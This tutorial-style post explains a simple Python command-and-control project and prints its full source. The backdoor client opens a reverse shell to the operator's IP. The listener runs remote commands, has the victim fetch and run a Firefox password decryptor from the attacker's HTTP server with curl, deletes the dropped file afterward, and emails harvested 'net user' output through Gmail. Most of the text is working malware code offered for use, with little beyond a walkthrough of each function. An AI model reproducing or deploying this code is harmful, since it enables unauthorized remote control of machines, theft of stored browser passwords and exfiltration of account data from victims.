Command And Control

Definition and Objective
A Command and Control (C&C) is a software system designed to control a client from a server. It allows an operator to execute malware or other commands on remote machines. This document explains the basic implementation of a simple C&C project.
Simple C&C Project
GitHub Link: Simple C&C Project
Simple Backdoor
In the GitHub project, there is a file called backdoor.py with the following code:
#!/usr/bin/env python3
import socket
import subprocess
def run_command(command):
try:
return subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT).decode("cp850").strip()
except subprocess.CalledProcessError as e:
return f"Error executing command: {e.output.decode('cp850').strip()}"
except Exception as e:
return f"Unexpected error: {str(e)}"
if __name__ == '__main__':
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client_socket:
client_socket.connect(("192.168.1.X", 443)) # Your IP
while True:
command = client_socket.recv(1024).decode().strip()
if not command:
break
command_output = run_command(command)
client_socket.send(b"\n" + command_output.encode("cp850") + b"\n")
except ConnectionRefusedError:
pass
except KeyboardInterrupt:
pass
except:
pass
Initial Program Flow
if __name__ == '__main__':
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client_socket:
client_socket.connect(("192.168.1.X", 443)) # Your IP
while True:
command = client_socket.recv(1024).decode().strip()
if not command:
break
command_output = run_command(command)
client_socket.send(b"\n" + command_output.encode("cp850") + b"\n")
except ConnectionRefusedError:
pass
except KeyboardInterrupt:
pass
except:
pass
In this code snippet we start the main flow of the program, and try to create a socket to connect to the server. Now we create a while loop to receive commands from the server constantly. When command is received, run_command function is called to execute and reeturn it. Finally we have exceptions in case there is a problem with the program, so that we can control the errors.
Function Run command
def run_command(command):
try:
return subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT).decode("cp850").strip()
except subprocess.CalledProcessError as e:
return f"Error executing command: {e.output.decode('cp850').strip()}"
except Exception as e:
return f"Unexpected error: {str(e)}"
The main purpose of the function is to execute the commands received from the server. To do this, I import the subprocess library to execute commands at the system level and return them to the server.
C&C
In the github project I have a file called command_and_control.py whit this code:
#!/usr/bin/env python3
import socket
import shutil
import signal
import sys
import subprocess
import smtplib
import os
import tempfile
from email.mime.text import MIMEText
from termcolor import colored
def def_handler(sig, frame):
print(colored(f"\n\n[!] Leaving the program...\n", 'red'))
sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
# root?
if os.geteuid() != 0:
print(colored("\n[!] You need to be root\n", 'red'))
sys.exit(1)
class Listener:
def __init__(self, ip, port):
self.ip = ip
self.options = {"get users": "List system valid users (Gmail)", "help": "Show this help panel", "firefox": "Get firefox browser passwords"}
self.server_process = None
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind((ip, port))
server_socket.listen()
print(colored(f"\n[+] Listening for incoming connections...\n", 'green'))
self.client_socket, client_address = server_socket.accept()
print(colored(f"\n[+] Connection established by {client_address}\n", 'yellow'))
def command_remotely(self, command):
self.client_socket.send(command.encode())
return self.client_socket.recv(2048).strip().decode('cp850')
def send_email(self, subject, body, sender, recipients, password):
msg = MIMEText(body)
msg['Subject'] = subject
msg['From'] = sender
msg['To'] = ', '.join(recipients)
with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp_server:
smtp_server.login(sender, password)
smtp_server.sendmail(sender, recipients, msg.as_string())
print(colored(f"\n[+] Emails sent successfully!!\n", 'green'))
def get_user(self, command):
self.client_socket.send(b"net user")
command_output = self.client_socket.recv(2048).decode()
self.send_email("Net Users Report - C2", command_output, "your@gmail.com", ["your@gmail.com"], "jdad cnda uvda sawa") # e-mail addres && aplication key of yout e-mail addres
def help_panel(self):
donde = self.command_remotely("cd")
print(donde)
for key, value in self.options.items():
print(f"\n{key} - {value}\n")
def check_path(self):
directory = tempfile.mkdtemp(prefix="Python-Server-")
print(colored(f"Temporary directory '{directory}' created.\n", 'yellow'))
try:
file_to_copy = "decrypt_firefox.py"
current_directory = os.getcwd()
source_file_path = os.path.join(current_directory, file_to_copy)
destination_file_path = os.path.join(directory, file_to_copy)
shutil.copy(source_file_path, destination_file_path)
except Exception as e:
print(colored(f"Error al copiar el archivo: {e}", 'red'))
return directory
def start_local_http_server(self, directory):
try:
self.server_process = subprocess.Popen(["python3", "-m", "http.server", "80", "-d", directory], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
print(colored("[+] HTTP Server started successfully", 'green'))
except Exception as e:
print(colored(f"\n[!] Error, you need to check if you have any services on port 80: {e}\n", 'red'))
def stop_local_http_server(self):
if self.server_process:
self.server_process.terminate()
print(colored("[+] HTTP Server stopped successfully", 'green'))
def get_firefox_passwords(self):
directory = self.check_path()
self.start_local_http_server(directory)
try:
win_user = self.command_remotely("whoami")
win_user_str = win_user.split("\\")[1]
release = self.command_remotely(f'dir /s /b /ad "C:\\Users\\{win_user_str}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*release*"')
command = f"cd C:\\Users\\{win_user_str}\\AppData\\Local\\Temp && curl http://{self.ip}/decrypt_firefox.py -o decrypt_firefox.py && python decrypt_firefox.py {release}"
command_output = self.command_remotely(command)
print(colored(f"\nSent command: {command}\n", 'yellow'))
print("\n" + command_output + "\n")
try:
# Cleaning
pwd = f"del C:\\Users\\{win_user_str}\\AppData\\Local\\Temp\\decrypt_firefox.py"
self.command_remotely(pwd)
shutil.rmtree(directory)
self.stop_local_http_server()
except:
print(colored(f"[!] it has not been possible to delete the file 'decrypt_firefox.py' if you run 'firefox' again it will not be possible.", 'red'))
pass
except Exception as e:
print(colored(f"[!] Error: {e}", 'red'))
def run(self):
while True:
command = input(colored(">> ", 'green'))
if command == "get users":
self.get_user(command)
elif command == "firefox":
self.get_firefox_passwords()
elif command == "help":
self.help_panel()
else:
command_output = self.command_remotely(command)
print(command_output)
I will explain the most important parts of the code as follows:
Listener class
class Listener:
def __init__(self, ip, port):
self.ip = ip
self.options = {"get users": "List system valid users (Gmail)", "help": "Show this help panel", "firefox": "Get firefox browser passwords"}
self.server_process = None
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind((ip, port))
server_socket.listen()
print(colored(f"\n[+] Listening for incoming connections...\n", 'green'))
self.client_socket, client_address = server_socket.accept()
print(colored(f"\n[+] Connection established by {client_address}\n", 'yellow'))
We create the __init__() method: in the Listener class, I create attributes that are instantiated in the Listener class: self.ip = ip, self.options = options, self.server_process =None. And objects so that the connection can be established.
In the objects one line is important:
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
This code reutlizes the connection in case it closes, so that we have no problems.
Send Command
def command_remotely(self, command):
self.client_socket.send(command.encode())
return self.client_socket.recv(2048).strip().decode('cp850')
This function is to send the command that has been entered by the user running this program.
Run
def run(self):
while True:
command = input(colored(">> ", 'green'))
if command == "get users":
self.get_user(command)
elif command == "firefox":
self.get_firefox_passwords()
elif command == "help":
self.help_panel()
else:
command_output = self.command_remotely(command)
print(command_output)
In this function, we create a while loop to receive and execute the commands continuously. But if the command is = any predefined function in the program, then the specific function will be executed.
Send E-mail
def send_email(self, subject, body, sender, recipients, password):
msg = MIMEText(body)
msg['Subject'] = subject
msg['From'] = sender
msg['To'] = ', '.join(recipients)
with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp_server:
smtp_server.login(sender, password)
smtp_server.sendmail(sender, recipients, msg.as_string())
print(colored(f"\n[+] Emails sent successfully!!\n", 'green'))
The purpose of this function is to send e-mail whit the output of the specific command.
Example of Specific Command
def get_user(self, command):
self.client_socket.send(b"net user")
command_output = self.client_socket.recv(2048).decode()
self.send_email("Net Users Report - C2", command_output, "your@gmail.com", ["your@gmail.com"], "jdad cnda uvda sawa") # e-mail addres && aplication key of yout e-mail addres
This function is used to obtain valid users from the system and send them by e-mail. In the self.send_email() part, you need to put your e-mail where you want to receive the content and the application key. And it is important to have two-step verification on your email account.
Two-step verification:

Application Key:
